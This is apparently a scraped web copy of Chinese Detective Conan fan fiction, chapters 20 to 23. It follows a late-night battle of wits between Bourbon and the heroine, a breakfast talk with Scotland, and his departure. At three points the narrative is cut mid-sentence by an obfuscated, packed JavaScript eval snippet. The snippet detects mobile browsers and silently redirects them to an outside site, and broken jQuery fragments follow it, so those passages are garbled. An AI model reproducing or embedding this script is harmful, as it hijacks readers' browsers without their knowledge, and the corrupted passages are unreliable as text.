本以为波本会趁机溜掉,没想到十几分钟后,他竟拎着一个便利店袋子回来了,里面装着一件浅灰色体恤和一条米白色薄毯,甚至买了两幅牙刷。 “你没走?”白羽响有些惊讶地看着他手里的东西,“你不会打算留宿吧?” “不行?”波本扬了扬眉。 白羽响没立刻答应他的请求,回头看向苏格兰。 她猜到波本会在很短的时间内尝试再次和她联系并谈判,但没想到他的行动力竟然这么强,竟然要留宿解决这件事。 苏格兰用左手接过了波本带来的衣服,放弃了深夜回自己安全屋的想法:“那就一起吧。” 夜色渐深,安全屋里的灯一盏盏熄灭,最后只剩下客厅那盏昏黄的小台灯。波本今天睡在客厅,是他主动要求的。白羽响看着透进房间中那点微弱的灯光,听见他起身在房间内踱步的声响,只觉得自己的安全屋从来都没有这么热闹过。 她睁着眼,疲累却毫无睡意。 在组织里,搭档并不意味着同伴。 背叛、出卖、争斗、倾轧……彼此之间毫无信任可言。 从小的经历告诉她,组织是没有同伴这样的概念的。她受到的训练苛刻又残酷,时刻与死亡相伴。因为她在一次训练中摔伤了头还要继续执行,皮斯科欣赏她的忠诚和执着,将她领养走了,从此她更换了姓氏,来到了新的“家”,换了个地方继续那种严苛的训练。 忠诚和执着…… 白羽响用无声的唇语念着这两个词。 组织培养她,是希望她能为组织所用。 一直以来,她将这两个词语奉为圭臬。但那些谨慎又苦痛的日子,好像随着她的死亡一并烟消云散了。今晚看着波本笨拙做饭的样子,看着苏格兰满足吃饭的模样,她竟分不清心里的悸动是担忧还是喜悦。 睡不着,她便坐起了身,朝着屋外走去。 波本正蜷缩在沙发上,膝盖上盖着那条米白薄毯,抱着电脑敲敲打打。屏幕光映在他的眼镜片上,睫毛在眼下投出浅浅的影子。 客厅里的波本听到动静,抬头看了她一眼,把电脑合上一半,声音放轻:“睡不着?聊天?” 白羽响的目光落在他脖子上那道浅浅的红痕,那是刚才她用刀抵出来的。她忍不住弯了眼,指尖点了点自己的颈侧,语气带着点调侃:“波本先生,你的‘战斗痕迹’还没消呢。” “是这样。”波本伸了个懒腰,“今天晚上暂时歇战吧。” 歇战? 白羽响挑了挑眉,没立刻应声,反而往前挪了两步,膝盖抵着沙发边缘,俯身靠近。 暖黄的灯光落在她发梢,几缕碎发垂下来,扫过波本的手背。 一瞬间,波本的脑袋里闪回了晚上在车里暧昧又激烈的一幕。就在他以为会发生点什么时,白羽响的手突然飞快伸进他的口袋,指尖勾住一个小小的塑封袋,拖了出来。 “你就是这么打算歇战的?” 白羽响直起身,晃了晃手里的袋子,眼底的笑意更浓了。 20.较量 小小的透明塑料袋内,有几根黑色的长发。不用说,自然是波本趁着刚刚的工夫在她的安全屋取的。 对波本的“不老实”,她丝毫不意外。 甚至在她辗转反侧中听见波本脚步声在客厅响起的那一刻,她就确定这家伙必然在干坏事。 波本清了清嗓,开始大言不惭地辩解:“这只是增加了解的一种方式……” 话没说完,白羽响的左手搭在他的脸侧,指尖的落点在他的脖颈附近,冰冷的触感让波本自动闭上了嘴。 白羽响用右手的两根手指取下了波本的眼镜甩在沙发上,似笑非笑地捏了一把他的脸颊。 “了解的方式?”她脸上挂着笑,眼睛却没什么笑意,“还是说,你就是为了这个才决定要留宿?” 偷人头发,自然是为了要调查她的身份。这种热爱窥探他人秘密的行为,她很不喜欢。 尤其,还是在她的安全屋里,在主动借宿之后。 她开始考虑要不要让他从安全屋滚蛋。 波本能看懂她的不悦,心中响起警铃。 他不会要被深更半夜扫地出门吧? 想到这里,他没躲开白羽响的手,反而顺着她的力道微微仰头,带着点委屈。 “原谅我吧。”他眨了下眼睛,长睫毛在暖灯下扫出浅影,“我只是好奇,情报人员的职业病。” 白羽响带着点审视看着波本。 撒娇、讨饶、主动认错,这种伎俩波本肯定练得炉火纯青。这是蒙混过关的手段,还是真心在给她道歉,实在是不好说。 不过,就像她和波本在车内扭打的时候说的那样,她吃软不吃硬,手上的力量放松了些。 “别生气。”波本继续与她说道,“我保证今天晚上老老实实,让你好好休息。” 真是“温柔体贴”。 白羽响笑了笑,这个聪明又狡猾的家伙。 他的示弱像是一种刻意做出来的友好态度,是在晚上尝试过强硬的方法发现不奏效之后的迅速调整。 可她没戳破,只是收回了手:“没干别的就好。” 她原以为波本会趁机带走那块手表——就是前几天她从波本那里顺走的那块,然而它好端端地搁置在餐桌旁的柜子上,丝毫未动。 看来比起表,他对自己的身份更加好奇。 她没有根基后台,不能和他闹僵。何况这个人是波本——在晚上被她耍了一道做了顿饭的情况下,没有趁她睡着的功夫潜入房间大肆搜索,已经算得上乖巧了。 揭穿他的行为,争取到了话语权,为后面的谈判做准备,这就够了。 左右她也睡不着,坐下来问道:“你调查到什么程度了?” “关于你吗?”波本身体往沙发里陷了陷,语气也放松下来,难得配合地回答她的问题,“十几天没欠债了,好像是今年以来的最长时间。身体瘦弱,没什么力量,但是手却很灵巧。没了。” “骗人。”白羽响笑了一声,“你一定还和苏格兰打听我开枪的事了。我会开枪,还会开车,所以你很惊讶,非要弄清楚不可。” 对她这种“形迹可疑”的人,波本才不会随便放过。 波本没否认,只是弯弯唇角,露出一个友善的笑容。 他笑起来很好看。白羽响一边欣赏,一边端详着波本那张俊俏又精明的脸孔。 苏格兰会对她的秘密保留尊重的底线,有了猜测也不会轻易地打听和触碰,但波本和他是两种截然不同的类型。 这家伙爱好刨根问底,而且不一定会遵守约定。 波本有危险性。 深夜聊天,很容易聊困了。于是她打算换一种聊天方法。 “六个问题的时间,一人三个。”白羽响提议道,“我想听真实的答案,但如果涉及不能说的秘密,可以回答‘无可奉告’。” 波本点了点头:“听起来不错——虽然毫无公平可言。” 不过“规则”这种事,在双方都有交流欲望的时候,变得可有可无。 “女士优先。”波本很绅士地朝她伸了手。 她想了想,选了个边缘却关键的问题:“那个叫鸭志田的警.察在顶楼埋伏苏格兰不是偶然,是组织里谁的意思?你知情对吗?” “说得好像我阴险地盼着苏格兰出事一样。”波本对这句话很不满,但还是回答了这句话,“这个人或许是出自某个组织高层的秘密委派,我不清楚。不过他急功近利,漏出了马脚。我不否认和他联系过,甚至进行了背后的诱导和交易……这件事苏格兰是知道的。因为万一任务出现了纰漏,得有人来背黑锅。” 白羽响点了点头。 苏格兰的嘴很紧,没和她透露过这些,但从他的态度上能推测波本说的是实话。 他们背着自己给这个任务做了第二套方案,就算出现了意外状况,有人前来调查,这件事也会“合理地”落到鸭志田的身上,做到死无对证。 这是后路,也金蝉脱壳的手段,带着强烈的袒护意味。 他们的关系不像交易,更像是信任。 这个无意之间发现的秘密让她产生了一种奇异的感觉。 什么时候的事啊?她和苏格兰做了这么久的搭档,竟然从来没听他提过一嘴。 “到你了。”她压下心头的异样,示意他进行提问。 波本的手指在沙发的座椅上敲了敲,问道:“是谁让你来取的这份物证,贝尔摩德吗?” 眼神锐利,甚至毫不掩饰地进行引导式提问。波本在好奇他手下的这位“新人”背后究竟是何方神圣,归根结底在于探听他究竟惹不惹得起。 可惜她自己也不知道。 “不是。”白羽响否认了,“取得那份证物,是为了我的私事,我不会交给任何人。它对我来说,或许是一把很重要的钥匙。” “私事?”这个语焉不详的答案让波本略微琢磨了一下,他的目光中带着一丝困惑,但随后只是摆了摆手,“算了,轮到你了。” “那证物到底是什么东西?”白羽响抬头,目光直直看向他,“让组织不惜从警方的手上劫取?” “嗯?”波本愣了一下,随即笑了,靠回沙发上,“我还以为你知道,我也想问你呢。” 但是波本还是分享了一些信息给她:“不过我知道那东西是在案件中的一位死者身上取下来的。那位死者是苏格兰的故人,和我也有些渊源。” “故人”两个字像根针,扎进了白羽响的心脏。 什么叫“从死者身上取下来的”? “死者”是谁?她吗?总不会是指那个和她死在一起的FBI吧。 “取下来”这种形容,就像是从尸检后才拿到的,这究竟是什么东西? “轮到我了。”波本看着白羽响说道,“你刚刚说取得那件东西是为了你的‘私事’,什么私事?” 白羽响看了一眼波本。 这是个很容易被她“无可奉告”的问题,但波本透露消息上很慷慨,她愿意分享一些情报。 “那个死者对我来说很重要。”白羽响没多说,点到为止,“这就是我的私事。” 波本盯着她看了几秒,突然笑了。 “是吗?”波本歪了歪头,“9月6日那天,白羽小姐你就在那个码头仓库附近对吧?监控拍到了你的脸。不过你似乎只是偶然路过了那里,很快就离开了……我很难相信你 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17002677|192927||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 说了实话啊,白羽小姐。” 白羽响的瞳孔骤然收缩。 9月6日,她死亡的那天。 这具身体的原主,竟然在那天路过了她的死亡现场?难道这就是她意识重生在这具身体里的契机? 她很快反应过来,皱着眉问波本:“你怎么知道的?你查我?” 他果然很危险。 能看到案发当天的监控视频,甚至从其中准确识别了她的脸,这已经远超她对组织内部情报组人员的了解。难不成他与鸭志田英做的交易中包括了对她的调查? 这些消息的来源可能是……警方? “不不。”波本摇了摇头,“我有我的渠道,是无意之间知道的。” 白羽响端详着波本的脸,想要从他的表情中看出一丝破绽。但他只是坦然地看着她,看起来没什么破绽。 哼,狐狸。 “所以这算第三个问题吗?”波本笑了笑,眼底带着狡黠,“如果是,我已经回答完了。” “不。”白羽响光速撤回了刚刚的提问,“那只是一句感慨而已。” 波本的能力卓越,难以掌控。如果有一天能将他握在手中,或许能解决自己遇到的问题中的一大半。 “或者,我们可以合作吗?”波本见她沉默,率先提出了下一个问题,“那件东西交给我,我来分析处理,得到了情报,你我共享。” “不。”白羽响摇了摇头,无情地拒绝了他的提议,“我不会给你的,我怕你卸磨杀驴。” 波本皱了皱眉,颇为无奈的模样:“对你来说,我就这么不值得信任吗?” “倒也不全是这么回事。”白羽响将口吻放软了一些,开始给他开空头支票,“你就当我只是想留一个保命符吧。或许有一天我会将它共享给你,但不是现在。” 波本深呼吸,又叹了口气。看来在今天的这场较量中,他实在是讨不到好。 突然吗,他啧了一声,开口问道:“如果是苏格兰问你要,你会给他吗?” 白羽响想了两秒:“不会。” 她还没有足够确认苏格兰对于自己的态度,他们之间只有浅薄的基础信任,还没有到互相交底的程度。毕竟,她不止想要一个包庇她的搭档,更想要的是能够助力的同谋。 “你刚刚犹豫了吧?”波本的眼睛微微眯了起来。 “嗯?没有。”白羽响睁着眼睛说瞎话。 “不,你绝对犹豫了。”波本的眉头竖了起来,整个人都坐直了凑近白羽响的脸,控诉道,“这是区别对待。” 白羽响笑了。 波本这种在别人安全屋寄宿还会顺带着搜集情报的“危险分子”,凭什么觉得自己可以与苏格兰享受同等待遇? 好在波本也不纠结这个问题,他有些惫懒地坐了回去,继续问道:“你还想问什么?问完我打算睡了。因为你的‘小动作’,我黑进鸭志田的邮箱做了一晚上的伪证,现在困得不得了。” “辛苦。”白羽响安慰了他一句,装作只是好奇的样子,问出了她最想要问的那个问题,“那个在任务中负责监视的狙.击手,他是什么人啊?” 听到这个问题,波本脸上的疲惫瞬间消失,眼神冷得像冰,嘴角勾起一抹嘲讽的笑。 “那个人啊……组织首屈一指的狙.击手。前段时间刚因为这个案件的死者而得到嘉奖。”他淡淡地冷笑了一声,“代号叫——” “莱伊。” 白羽响心里的声音和他的话音重叠。 她的指尖猛地攥紧,指甲几乎要嵌进掌心,滔天的恨意顺着血液翻涌上来。 莱伊果然还活着,甚至借着她的“死亡”全身而退,坐收渔利。 21.清晨对谈 与莱伊相处的零碎记忆飞速掠过,最后死死卡在警方那句话上。 ——这个案件的男性死者,是个秘密执行任务的FBI。 死者不是莱伊,但FBI绝不会无端出现在他的任务现场。 那个夜晚,组织连审问都懒得做,就认定她是叛徒将她炸死,除了她与琴酒的人本来就有些互相看不顺眼之外,或许还是因为有了铁证。 比如说,琴酒抓了“现行”——组织里的确有人在和那个死了的FBI私自联系,而偏偏就在他们打算静观其变的时候,她却闯了进去。 可她是被冤枉的。 只有她自己知道,那桩任务和她半点关系都没有。会出现在现场,只是因为涉及到了莱伊。 没有任何实证,但答案呼之欲出。 莱伊与FBI的联系,被组织察觉,牵连她没了性命。 这种认知与怨气在胸腔里冲撞着,几乎要将她吞噬。 结束了与波本的谈话后,她回到房中一时难以入眠,直到大脑实在思考不动,才勉勉强强入睡。 第二天的清晨。 天刚泛起一丝鱼肚白,居民区沉浸在淡淡的晨雾里。 苏格兰率先醒了,精神还算不错。 昨天晚上他在卧室休息,但睡得很晚。他听见白羽响和波本深夜对谈,虽然不知道具体的内容,但两人的谈话算得上和睦,像是达成了某种共识。 他松了口气。 这是出事以来,他睡得最沉的一个晚上——或许是知道波本守在客厅的沙发上,又或许是白羽响的房间就在隔壁,让他久违地卸下了些心头的负担。 他轻手轻脚走进厨房,刚拉开冰箱门,就见波本从沙发上起身。两人在狭小的空间里对视了一眼,波本的行动也不由跟着变轻。 毕竟是在别人的安全屋,要说话也得找个合适的时机。 波本的眼底还带着熬夜留下的红血丝,昨天对于他来说是个不眠之夜。 但他完全没有要去补个觉的准备,而是简单地说道:“我要学做早饭,你教我。” 那语气带着几分生硬的别扭,完全没有平时的张扬。 苏格兰闻言有诧异,但瞬间了然于心。昨晚白羽响调侃波本做的晚饭像“猫饭”,以这家伙不服输的性子,定然耿耿于怀了一整夜。 他心里暗笑。 昨晚波本推测白羽响在任务中动了手脚的时候,整个人看起来锋芒毕露,颇有些要让她付出代价的狠厉。 出于私心,苏格兰不希望波本和白羽响因为那些事情闹僵。因此,他在尝试着在二人之间控场。 他与波本先后进了厨房。 波本随手从灶台上拿起了一个小锅,压低了声音:“昨天半夜我和警.察厅进行了联络,那个叫鸭志田的,之前还被划为了观察对象,上头似乎有人属意他,想要引入公安系统。如果没及时发现,后患无穷。” 苏格兰点了点头。 他对此并不意外:“昨天他在死之前也说过,组织里的人派他进入警方是为了别的用途……” 因此,鸭志田才会这般急功近利,想要靠着功劳迅速得到双方的认可。如果昨天没有及时将他除掉,后果不堪设想。 出了这样的事,也难怪波本一夜没睡。 “无能。”波本低声骂了一句,“什么人都敢往公安里带。昨天我手下的人谈及此事三缄其口,恐怕还是某个高层的主意。” 一个初出茅庐的新人,得到了组织与警方高层的双面认可,差点造成卧底警员的暴露,这样的事听着可不体面。 “算了。”波本摇了摇头,“组织这里的事还应付不完呢。昨天和白羽谈了谈,她不同意将东西共享,暂时也不方便出手抢夺,就先在她那里放一阵子……” 苏格兰听到了这个结果“嗯”了一声,嘴角浮现了一丝淡淡的笑意。 他对波本会在白羽响面前吃瘪毫不意外。 白羽响非要在任务中强掺一手,将这东西拦截下来的时候,他就隐隐感觉到,她的目的私人而直白,而且寸步不让。 那种强硬而坚定的态度,让他不看好波本去与她硬碰硬。果不其然,他碰壁了。 “煎个蛋吧,比较简单,好上手。”苏格兰随口转移了话题,从冰箱中拿出了两个鸡蛋递给了波本。 波本没反驳,结束了刚刚的密谈,站在一旁看着学。 出乎意料,他做饭竟真的有些天赋,听着苏格兰提醒了“火别太大”、“边缘定型再翻面”之后,很快就上手了。 第一个煎蛋煎得金黄,溏心恰到好处,波本的嘴角忍不住微微上扬,眼底闪过一丝得意。 “滋啦”一声,第二个蛋滑入油锅,热油冒泡的声响在安静的清晨格外清晰。 波本突然再次开口,声音压得极低:“响酒的遗物,是你收着的吧?” 苏格兰正打算抬手帮他调整火候,闻言动作一顿。 “给我一把她以前的安全屋钥匙。”波本继续说道,“我要查白羽响的身份。” 苏格兰回过头,看着波本。 那晚的火光、浓烟、刺鼻的焦糊味突然涌进脑海。 他冲进火场时,根本不知道那是组织布下的阴谋,只凭着本能想要确认响酒的安危。 然后他看到了噩梦一般的情景。 周围的一片火光中,她倒在了地上。污浊的血顺着她额角的伤口蜿蜒而下,黏稠地划过眉骨、眼睑,在颧骨处留下一道暗沉的血痕,最终顺着脖颈淌进衣领,在肩头晕开一片发黑的渍迹。她的眼睛还圆睁着,眼白被血珠浸染得浑浊,原本清亮的眼眸此刻只剩一片死寂的暗沉。 他确实带走了响酒随身带的钥匙。 但是…… 从白羽响非要拿走响酒身上证物的举动,还有他的直觉判断,她与响酒关系匪浅。如果真是如此,那他唯一能做的,就是保护她的安全。 “不……我不能给你。”苏格兰拒绝了他。 波本有些意外他的拒绝。他随即敏锐地察觉到苏格兰的紧绷,放缓了语气,声音更轻了。 “我没别的意思,只是验证一个想法。”他顿了顿,目光诚恳,“你也需要这个答案,不是吗?” 油锅还在滋滋作响,煎蛋的香气弥漫开来,却压不住两人间的凝滞。 苏格兰看着波本眼底的执拗,又想起昨晚白羽响安睡的侧脸,犹豫再三,缓缓抬起手,从内袋里掏出 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17006695|192927||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一把小小的钥匙。 “这是她一处离出事仓库不远的安全屋,事发后还没来得及打扫,应该有你想要的东西。地址要你自己去查。” 波本伸手要接,苏格兰却攥着钥匙没松:“只是要一个答案。零,答应我,不要对她动手。” 这句话让波本的脸上闪过一丝错愕。 苏格兰很少用这种严肃而陈恳的语气对他说话。 他心里有些不是滋味,想说什么,最终却只是干脆地点头:“当然。” 钥匙落在波本掌心。 厨房里,煎蛋已经煎至金黄,边缘微微卷起,变成了深褐色。 “是不是好了?”波本问苏格兰。 苏格兰这才反应过来,蛋煎得有些过火了:“嗯……光顾着说话,浪费食物了。” “没事,我吃。” 波本从锅里把那个煎蛋夹了出来,放在了盘子里,淋上一点酱油。 苏格兰阻拦他:“会苦,我重新给你做一个吧?” “不用。” 波本固执己见地咬了一口那个蛋,随后他的目光又挪到了旁边的另一个蛋上。 那是他煎的第一个蛋,也是一个煎得相当好的溏心蛋,看着就让人很有食欲。 他突然有了个不错的主意。 “那个蛋,留给她吧。”波本指了指那个溏心蛋,微微扬起了嘴角,“有营养,是我早上做得最好的一个。” 苏格兰看了一眼,点了点头。 白羽响醒来的时候,感觉到自己的脸上黏滋滋的。 她下意识抹了一把之后,惊讶地发现自己在睡着后不知不觉间流了鼻血。这种稀有的体验在响酒的身体上从脱离儿童时期就不再有过,但现在她用的是一具有些陌生的身体,她一时判断不了这是否正常。 她来到洗手池边清洗了一把,确认头不晕、眼也不花,才将自己心头那点将信将疑压了下去。 或许这具身体本来就鼻粘膜过薄。 她擦干净脸走了出来,发现波本已经不在屋中了。 沙发上空空如也,昨晚留宿时用的薄毯和电脑都消失不见,茶几上却留下了一张便条。 “多谢款待。” 字迹利落漂亮,人也很有礼貌,行动却充斥着神秘主义者的味道。 白羽响随手折叠放在了一边的柜子上,随即发现之前从波本那儿顺走的表也好好地搁着,没被他顺手带走。 这家伙……她弯了弯唇角。其实她不介意物归原主,不然也不会这么光明正大地把表就放在波本的眼前。不过既然他选择了不带走,那就彻底算是她的东西了。 昨天二人聊到后半夜,波本眼底的红血丝藏都藏不住,还硬撑着黑进鸭志田的邮箱做伪证。 白羽响坐在他身边,安静地看他干活,干完了之后,又根据现有的情况进行了最后一轮的谈判。 从打架到周旋再到谈判,看似状况已经没刚开始的时候那么激烈,但其实他们各持己见,谁也不肯退让。最后在又困又乏的情况下,波本放弃了直接从她这里打探情报,做出了让步。 想到这里她就心累。 波本聪明又执着,关键还“敬业”得要命,太不好骗了。 22.捉弄 厨房传来“叮”的一声轻响,是微波炉停了。 白羽响循着声音走过去,苏格兰穿着波本留下的那件浅灰色体恤,正把牛奶倒在杯子里加热。他的手边放着两盘荷包蛋,蛋白边缘微焦,蛋黄裹得完整,上面还淋了一圈浅褐色的酱油,看起来卖相不错。 他做饭了? 那条淡黄色围裙似乎被人用过,放在了一边。 “你手不方便怎么还做这些?” 白羽响皱着眉从苏格兰的手中接过了两个盘子,又把他加热的牛奶一起从微波炉里拿了出来。 “不算我做的。”苏格兰笑了笑,“是波本,他突然想学。” 原来如此。 昨晚她调侃波本做的是“猫饭”,他肯定耿耿于怀,通宵处理事情还要早起学煎蛋,多半是硬撑着也要争回口气。光是想象一下他的神情,白羽响就不由笑了起来。 可惜她起得晚,既没看到波本系着围裙忙乱的样子,也没瞧见苏格兰怎么指导的,想想都觉得亏大了。 “他说这个是溏心的,特意让我给你留着。”苏格兰指了指左边那盘煎得更精致的蛋,语气里带着点笑意,“昨天……” “嗯,我们谈得挺晚,不过没再吵架,你放心。” 白羽响一边说着,一边瞥了一眼那个蛋,拿起了叉子,轻轻戳了戳蛋黄,金色的蛋液流了出来,看起来十分诱人。 她毫无防备地尝了一口,整张脸都皱了起来:“酸的?” 苏格兰听了她的话愣了一瞬,低下头凑近闻了闻,随后低低地笑了起来,肩膀都跟着微颤。 懂了,这是波本的“杰作”。 白羽响搁下了叉子,无语地看着那盘醋泡荷包蛋。 她就知道! 波本才不可能老老实实地做早饭。多半在今早爬起来的那一刻,他就憋着一肚子的坏水,怀揣着昨天被她拽着做饭之仇琢磨要干点啥呢! “难怪走得这么急……”苏格兰的眼尾笑出了纹路,“他是听见你在房间里起身的声音,突然说要走的。” 所以苏格兰也认为他是故意的咯。 “真是太‘体贴’了。” 白羽响端着那盘荷包蛋,开始考虑要怎么处置它。 “我去给你重做一个吧。”苏格兰准备起身。 白羽响顿时停住了手,把那盘荷包蛋放了回去:“算了。酸的也不错,让人很有食欲。” 她不想为了这点小事忙活,更不希望受伤的苏格兰替波本的小心眼买单。 况且,这个荷包蛋很特别的味道,很贴合波本在她心中的印象。 特别的、新奇的、让人难以忽略的男人。 她甚至能从这种刻意为之的捉弄中,体会到波本的意图——他已自己另找场子“报复”回来了,之前被她折腾的事两清,他不再计较了。 他们之间剑拔弩张的关系软化了,这就是她想要的结果。 苏格兰没再坚持,只是把自己面前那盘没动过的煎蛋推了过去:“或者你吃我的这份吧。” 这一盘散发着正常的酱油香,显然波本没在里面动手脚,但白羽响还是拒绝了。 “你们的关系很不错。”她状似随意地说道,“认识很久了吗?” 昨天她没有向波本打听这件事,感觉会被他用“无可奉告”来搪塞,还不如直接向苏格兰打听。 “嗯,是朋友。”苏格兰平淡地说了一句之后,喝了一口牛奶,没有再补充任何其他的话。 白羽响点了点头,显然苏格兰并不愿意深入这个话题,她也就不多问了。 波本是会帮着朋友度过难关的。这个认知很新奇。 毕竟他对谁都带着三分防备,摆着一副不喜欢被人探听消息的模样。这样的人竟然会和苏格兰混得好,明知道苏格兰正在遭受组织的怀疑还要尽力帮忙,或许其中还有些什么别的隐情。不过这件事对她来说只有好处没有坏处,她也没必要刨根问底。 想得简单些,或许只是因为苏格兰人比较好呢? 吃完早餐,她打开了客厅的电视。 本地新闻正在报道昨天的证物被盗案。监控画面里,她和苏格兰的身形被暂停放大标注了出来。他们都被帽檐和口罩遮得严严实实的,就算动作刻意放缓了很多遍,也没有拍到正脸。警方正在向目击者征集线索,新闻最后的画面停在了苏格兰朝着警方开了一枪以后,转身拉帽檐而走的一帧,利落得像电影镜头。 “挺帅啊,专业劫匪。”白羽响抱着胳膊调侃他。 苏格兰有些心不在焉得“嗯”了一声,不知道心里在想什么。 没等她继续开口,镜头切到了某个看起来十分眼熟的大楼远景,主持人介绍道:“另外,昨天傍晚,市内一栋写字楼的顶层发生了粉尘爆.炸,造成一名市民丧生。” 白羽响扬了扬眉。这个“一名市民”该不会指的是鸭志田英吧? 看来这件事情落在了波本的计划之内。 他明明是被一枪爆头,现在却成了“爆炸遇难者”,显然是波本处理的结果。波本既然认定了鸭志田英绝不会被认定为殉职,自然是因为他给鸭志田英的邮件中加了不少“料”。 这个人的名誉已经完蛋了,只不过警方也需要遮羞布,这种丑闻根本不会被爆出来。 白羽响看着大楼顶层被湮没在一片火光和浓烟中的画面,目光再一次落在这栋大楼的名字之上。 “NOVARE EDIFICE……”她喃喃说了一句,转头问身边的苏格兰,“这个地方,不是组织的常用交易地点吧?” 苏格兰的眼睛盯着那桩新闻,看起来有些心事,但他很快反应过来。 “嗯。”他点了点头,“‘NOVARE’是拉丁语中‘更新迭代’的意思,‘EDIFICE’是‘大楼’。这栋楼是为了某个微体流技术公司而建造的,但最后这个公司因为无人投资而流产,被另一个游戏公司接手了,之后又再次倒闭,最终变成了对外出租的写字楼。我想,组织启用这里,或许是与那个特殊的物流系统有关。” 白羽响点点头,心里却没放下。看来这的确是组织临时使用的交易点,这条线索暂时无法继续深入了。 很快这条新闻结束了,白羽响转头看向苏格兰。 “这几天你……有什么打算吗?” 时间如果宽裕, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17014858|192927||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她想和苏格兰深入聊一聊,就算不向他坦白身份,也要取得他的信任和帮助。有些东西以响酒的身份很容易得到,但是变成了组织新人之后,就没那么方便了——比如枪支和子弹之类的,还有一些必备的药物。 然而出人意料的,苏格兰缓缓摇了摇头。 “我得走了。”他说,“半小时前的消息,要我明天出发去鸟取执行一项秘密任务。之后什么时候回来,说不好了。” 白羽响回头看他,十分意外。 他这要走了。 而且,要去挺远的地方,不像前几天那样随时可以见面了。 她回过头看了一眼客厅,才发现苏格兰在她醒来之前就已经收拾好了东西,他的精神恢复得很不错,手上的绷带也换了新的。 新闻中还在征集昨天那桩案件的线索,他们的逃跑干净又顺利,确实没有要继续留下的理由。 但白羽响还是觉得很不是滋味。 明明知道分别是常态,但她还是涌起感慨和不舍。 短暂的重逢与合作好像是一场意外的潮汐,来得快退得也快,只剩下心头一片湿润的微痕。 “好,我知道了。”她强迫自己笑了笑,然后想起了另一件事,“我也要换安全屋了,地址定了我会告诉你的。我的邮箱……有事情可以随时找我。” 甚至就算是没有事,她也希望苏格兰不要断了联系。虽然这么做不会带来任何的好处,但她莫名会觉得安心一些。 苏格兰的目光动了动,从她的话中抓住了重点:“换安全屋?今天?” 白羽响摇了摇头:“还没开始找,总得有合适的地方才行。” 心仪的屋子比伴侣还难找,何况身在组织,最好还得多找几处。 苏格兰垂下了眼眸。 话题就这样戛然而止,房中变得安静了些。 电视中正在播报着其他的新闻,他突然不知道应该说些什么告别的话。 团聚带来的余震悠长深远,祝福、约定、期待再次见面……这些司空见惯的句子,竟然一句都说不出口。 那会不会不吉利?他一边想着,一边放任自己的神经享受着最后的松弛。 一只手搭在了他的后背上,他回过头。 是白羽响。 “别担心。”她笑着说道,“等你回到米花町的时候,这里一切还是会像现在这样……我也是。” 这是一句令人安心的承诺。 苏格兰露出了一丝笑意,轻轻的一声“再见”过后,门被咔哒一声碰上,整个屋子顿时安静了下来。 白羽响站在安全屋的中间,深深叹了口气。 煎蛋的香气还没散去,电视里的新闻报道爆.炸案的声音猛然放大了不少一般。 回望昨天,她与苏格兰做了个惊心动魄的任务,回到安全屋给他包扎,与傍晚前来的波本打了一架,最后三人又一同住在这间屋子里。如此热闹又充实的一天,就像是看了一场烟火,眼睛已经回到了黑夜之内,耳边却还有喧闹的回响停留着。 她决定迅速调整状态,把注意力集中在眼前的事情上,拿起手机,一边刷着租房软件,一边走出安全屋。 23.临别赠礼 原主曾路过她的死亡现场;而莱伊还活着,甚至得到了组织的嘉奖。 这两件事一件令她疑惑,一件让她憋屈。 她的死,本来就是一笔烂账,根本无法迅速地查清并解决。但在她的心里,对莱伊的清算计划必定会先于其他人。 尽管这个人没有设置炸.弹,没有要杀死她的主观意图,但却又的的确确是他的缘故,导致了最后的结果变成了那样。 白羽响站在路口,看着周围的车呼啸而过。 她要找到莱伊。 她要亲手杀了他。 白羽响在米花町的大街小巷里绕了一整天,手机备忘录里记满了标记。 她找安全屋的口味一贯都比较固定,比如说靠近便利店却避开监控死角的旧公寓,或是顶楼带逃生梯的独居小楼,甚至还有间藏在洗衣店二楼的阁楼,适合做不常去的仓库。 每看一处,她都要在周边转三圈,确认没有组织常用的暗哨标记,也没有警方巡逻的固定路线,才敢在地图上画个圈。 毕竟不管是组织还是警方,短期内她都没有打交道的想法。 日头渐渐西斜,她终于踏上了回安全屋的路,不知不觉走到了堤无津川边。 黄昏之下的河水泛着荧荧微光,风拂过脸颊时,她仿佛又回到了那个火光冲天的夜晚。九月应该正是闷热的时节,可记忆中她却觉得无比阴冷。那间仓库依然被作为未破获案件的现场保留着,半个多月的时间过去都无人去管,像只沉默的巨兽。 这已经是她第三次来到这个地方了。 她放慢脚步,沿着河岸往前走,目光不自觉地驻留在仓库之上。 9月6日,也就是响酒死亡的当天,这具身体的原主曾经在这里路过,被监控拍了个正着。 白天,因为这句话,她在吃午饭的时候对原主常用的邮箱和通讯记录进行了一次彻底的清理检查,基本排除了被人叫去当场的可能性。 